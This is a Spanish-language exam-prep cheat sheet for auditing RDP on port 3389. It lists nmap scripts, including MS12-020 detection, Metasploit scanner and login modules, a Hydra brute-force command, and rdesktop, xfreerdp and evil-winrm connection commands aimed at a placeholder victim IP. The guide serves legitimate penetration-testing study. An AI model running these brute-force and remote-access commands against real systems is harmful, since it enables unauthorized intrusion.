🔍3389 - RDP

🔍 3389 - RDP

🔍 RDP El puerto 3389 es utilizado por el servicio Remote Desktop Protocol (RDP), un protocolo de acceso remoto común en entornos empresariales y administrativos. Debido a su uso extendido, es un objetivo frecuente de ataques y auditorías de seguridad.

📌 Resumen de Herramientas y Técnicas para Auditoría en RDP Esta guía cubre las principales herramientas y técnicas para auditar RDP en el puerto 3389 en el examen eJPTv2.

🛠️ Herramientas Principales:

• 🔍 Nmap + Scripts NSE: Enumeración y detección de vulnerabilidades.

• 🛠️ Metasploit: Explotación de fallos y acceso no autorizado.

• 🔧 Hydra: Ataques de fuerza bruta para credenciales.

• 📊 Rdesktop, XFreeRDP, Evil-WinRM: Acceso remoto y gestión de sesiones.

🕵️ Reconocimiento e Identificación del Servicio RDP Determinar la versión del servicio RDP es clave para detectar posibles vulnerabilidades.

nmap -p 3389 -sCV <ip_victima> # Escaneo para intentar ver la versión.
nmap -p 3389 --script rdp-enum-encryption <ip_victima> # Identificación de cifrado RDP.
nmap -p 3389 --script rdp-vuln-ms12-020 <ip_victima> # Detección de vulnerabilidad MS12-020.
nmap -p 3389 --script rdp-ntlm-info <ip_victima> # Extracción de información NTLM.
nmap -p 3389 --script rdp-brute <ip_victima> # Ataque de fuerza bruta a RDP.

🛠️ Uso de Metasploit para Auditoría de RDP Enumeración de configuración y detección de vulnerabilidades.

msfconsole -q
use auxiliary/scanner/rdp/rdp_scanner # Escaneo de servicio RDP
set RHOSTS <ip_victima>
run

🔹 Ataque de autenticación débil con Metasploit.

use auxiliary/scanner/rdp/rdp_login
set RHOSTS <ip_victima>
set USER_FILE /ruta_diccionario_usuarios.txt
set PASS_FILE /ruta_diccionario_claves.txt
set THREADS 10
exploit

🔑 Fuerza Bruta al Servicio RDP Hydra

hydra -t 4 -V -f -L <wordlists_usenames.txt> -P <wordlists_password.txt> rdp://<ip_victima>

📊 Acceso Remoto y Gestión de Sesiones

🔹 Rdesktop

rdesktop -u <usuario> -p <contraseña> <ip_victima>

🔹 XFreeRDP

xfreerdp /v:<ip_victima> /u:<usuario> /p:<contraseña>

🔹 Evil-WinRM (para sesiones PowerShell remotas)

evil-winrm -i <ip_victima> -u <usuario> -p <contraseña>